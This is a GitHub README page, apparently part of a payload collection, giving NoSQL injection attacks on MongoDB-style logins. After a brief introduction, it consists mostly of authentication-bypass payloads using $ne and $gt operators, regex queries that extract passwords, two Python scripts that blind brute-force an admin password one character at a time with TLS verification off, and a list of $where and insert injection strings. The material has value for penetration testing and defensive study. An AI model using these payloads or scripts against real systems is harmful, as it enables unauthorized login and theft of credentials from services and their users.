Skip to content
Branch: master
Find file History
Latest commit 0ccccd0 Apr 25, 2019
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
Intruder Fix name's capitalization Mar 6, 2019
README.md add JSON headers Apr 24, 2019

README.md

NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

Basic authentication bypass using not equal ($ne) or greater ($gt)

in URL
username[$ne]=toto&password[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract data information

in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "in"

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL

POST with JSON body

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

GET

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print("Found one more char : %s" % (password+c))
        password += c

MongoDB Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

References

You can’t perform that action at this time.